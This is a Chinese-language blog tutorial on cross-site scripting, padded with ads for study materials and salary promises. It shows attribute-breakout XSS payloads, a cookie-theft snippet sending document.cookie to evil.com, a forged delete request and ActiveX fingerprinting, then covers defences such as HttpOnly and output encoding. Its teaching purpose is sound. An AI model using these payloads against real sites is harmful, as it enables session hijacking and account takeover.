2024年Web安全之XSS跨站脚本攻击_超链接xss(1),2024年最新深度解读Netty

一、网安学习成长路线图

网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
在这里插入图片描述

二、网安视频合集

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
在这里插入图片描述

三、精品网安学习书籍

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
在这里插入图片描述

四、网络安全源码合集+工具包

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

五、网络安全面试题

最后就是大家最关心的网络安全面试题板块
在这里插入图片描述在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

正常情况

点击“write”按钮后,会在当前页面插入一个超链接,其地址为文本框的内容。

非正常情况

在文本框输入 ' onclick=alert(/xss/) //,这样生成的超链接为 <a href='' onlick=alert(/xss/)//' >testLink</a>,原理就是用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符“//”注释掉第二个单引号。这样点击新生成的超链接,就会执行攻击代码了。

还有另外一种攻击方式,将 <a> 标签闭合掉,然后插入一个新的 HTML 标签,如下示例:

在文本框输入 '><img src=# onerror=alert(/xss2/) /><',这样生成的超链接变为 <a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>,图片加载失败之后就会执行攻击代码了。

XSS Payload

前文谈到了 XSS 的几种分类。接下来,就从攻击的角度来体验一下 XSS 的威力。

XSS 攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS Payload”。

XSS Payload 实际上就是 JavaScript 脚本(还可以是 Flash 或其他富客户端的脚本),所以任何 JavaScript 脚本能实现的功能,XSS Payload 都能做到。

通过 XSS Payload 可以实现如下攻击:

Cookie 劫持

在当前的 Web 中,Cookie 一般是用户登录的凭证,浏览器发起的所有请求都会自动带上 Cookie。如果 Cookie 没有绑定客户端信息,当攻击者窃取了 Cookie 后,就可以不用密码登录进用户的账户。

攻击代码:

var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img); 

这段代码在页面中插入了一张看不见的图片,同时把 document.cookie 对象作为参数发送到远程服务器,这样,就完成了一个简单的窃取 Cookie 的 XSS Payload。

然后使用窃取到的 Cookie 通过自定义 Cookie 的方式访问网站,达到登录目标用户的账户的目的。

构造 GET 与 POST 请求

一个网站通过 HTTP 协议中的 GET 或 POST 请求即可完成所有操作,因此可通过让浏览器对目标网站发起这两种请求来达到攻击的目的。

假设某个网站有这样的一个删除文章的请求:

http://www.test.com/blog/delete?id=156713012 

对于攻击者来说,只需要知道文章的 id,就能够通过这个请求删除这篇文章了。

攻击代码:

var img = document.createElement("img");
img.src = "http://www.test.com/blog/delete?id=156713012";
document.body.appendChild(img); 

攻击者只需要让博客的作者执行这段 JavaScript 代码(XSSPayload),就会把这篇文章删除。在具体攻击中,攻击者将通过 XSS 诱使用户执行 XSS Payload。

XSS 钓鱼

如果通过构造 POST 请求(表单提交)进行攻击时,在提交表单时要求用户输入验证码,那么一般的 XSS Payload 都会失效;此外,在大多数“修改用户密码”的功能中,在提交新密码前,都会要求用户输入“Old Password”。而这个“Old Password”,对于攻击者来说,往往是不知道的。

对于验证码,XSS Payload 可以通过读取页面内容,将验证码的图片 URL 发送到远程服务器上来实施——黑客可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的 XSS Payload,从而绕过验证码。

修改密码的问题稍微复杂点。为了窃取密码,攻击者可以将 XSS 与“钓鱼”相结合。实现思路很简单:利用 JavaScript 在当前页面上“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送至黑客的服务器上。

识别用户浏览器
  1. 读取浏览器的 UserAgent 对象。
  2. 由于浏览器之间的实现存在差异——不同的浏览器会各自实现一些独特的功能,而同一个浏览器的不同版本之间也可能会有细微差别。所以通过分辨这些浏览器之间的差异,就能准确地判断出浏览器版本,而几乎不会误报。这种方法比读取UserAgent要准确得多。
识别用户安装的软件

知道了用户使用的浏览器、操作系统后,进一步可以识别用户安装的软件。

在IE中,可以通过判断 ActiveX 控件的 classid 是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击”——黑客通过判断用户安装的软件,选择对应的浏览器漏洞,最终达到植入木马的目的。

攻击代码:

try {
    var Obj = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);
} catch (e) {
    // 异常了,不存在该控件
} 

这段代码检测迅雷的一个控件(“XunLeiBHO.Thun-derIEHelper”)是否存在。如果用户安装了迅雷软件,则默认也会安装此控件。因此通过判断此控件,即可推测用户安装了迅雷软件的可能性。

CSS History Hack

我们再看看另外一个有趣的 XSS Payload——通过 CSS,来发现一个用户曾经访问过的网站。其原理是利用 style 的 visited 属性——如果用户曾经访问过某个链接,那么这个链接的颜色会变得与众不同。

获取用户的真实 IP 地址

通过 XSS Payload 还有办法获取一些客户端的本地IP地址。

很多时候,用户电脑使用了代理服务器,或者在局域网中隐藏在 NAT 后面。网站看到的客户端IP地址,是内网的出口IP地址,而并非用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?

JavaScript 本身并没有提供获取本地IP地址的能力,有没有其他办法?一般来说,XSS 攻击需要借助第三方软件来完成。比如,客户端安装了 Java 环境(JRE),那么 XSS 就可以通过调用 Java Applet 的接口获取客户端的本地 IP 地址。

XSS 防御

HttpOnly

浏览器禁止页面的 JavaScript 访问带有 HttpOnly 属性的 Cookie。因此 HttpOnly 可以对抗 XSS 后的 Cookie 劫持攻击。

输入检查

常见的Web漏洞如 XSS、SQL Injection等,都要求攻击者构造一些特殊字符,这些特殊字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。

输入检查,在很多时候也被用于格式检查。例如,用户在网站注册时填写的用户名,会被要求只能为字母、数字的组合。比如“hello1234”是一个合法的用户名,而“hello#$^”就是一个非法的用户名。

又如注册时填写的电话、邮件、生日等信息,都有一定的格式规范。比如手机号码,应该是不长于16位的数字,且中国大陆地区的手机号码可能是13x、15x开头的,否则即为非法。

这些格式检查,有点像一种“白名单”,也可以让一些基于特殊字符的攻击失效。

输入检查的逻辑,必须放在服务器端代码中实现。如果只是在客户端使用JavaScript进行输入检查,是很容易被攻击者绕过的。目前Web开发的普遍做法,是同时在客户端JavaScript中和服务器端代码中实现相同的输入检查。客户端JavaScript的输入检查,可以阻挡大部分误操作的正常用户,从而节约服务器资源。

输出检查

既然“输入检查”存在这么多问题,那么“输出检查”又如何呢?

一般来说,除了富文本的输出外,在变量输出到 HTML 页面时,可以使用编码或转义的方式来防御 XSS 攻击。

安全编码函数

编码分为很多种,针对 HTML 代码的编码方式是 HtmlEn-code。

HtmlEncode 并非专用名词,它只是一种函数实现。它的作用是将字符转换成 HTMLEntities,对应的标准是 ISO-8859-1。

为了对抗 XSS,在 HtmlEncode 中要求至少转换以下字符:

& --> &amp;

< --> &lt;

>--> &gt;

" --> &quot;

' --> &#x27;&emsp;&emsp; &apos; 不推荐

/ --> &#x2F; 包含反斜线是因为它可能会闭合一些 HTML entity

JavaScript 的编码方式可以使用 JavascriptEncode。JavascriptEncode 与 HtmlEncode 的编码方法不同,它需要使用“\”对特殊字符进行转义。在对抗 XSS 时,还要求输出的变量必须在引号内部,以避免造成安全问题。比较下面两种写法:

var x = escapeJavascript($evil);
var y = '"'+escapeJavascript($evil)+'"'; 

如果 escapeJavascript() 函数只转义了几个危险字符,比如 ‘、”、<、>、\、&、# 等,那么上面的两行代码输出后可能会变成:

var x = 1;alert(2); // 执行了额外的代码
var y = "1;alert(2)"; // 安全 

所以要求使用 JavascriptEncode 的变量输出一定要在引号内。

可是很多开发者没有这个习惯怎么办?这就只能使用一个更加严格的 JavascriptEncode 函数来保证安全——除了数字、字母外的所有字符,都使用十六进制“\xHH”的方式进行编码。在本例中:

var x = 1;alert(2); 变为 var x = 1\x3balert\x282\x29; // 保证是安全的 

网络安全学习路线&资源

【----帮助网安学习,以下所有学习资料免费领!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)


03网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

点击这里,先领资料再阅读哦~

初级网工

1、网络安全理论知识(2天)

①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)

①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)

①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)

①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)

①数据库基础

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 27
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值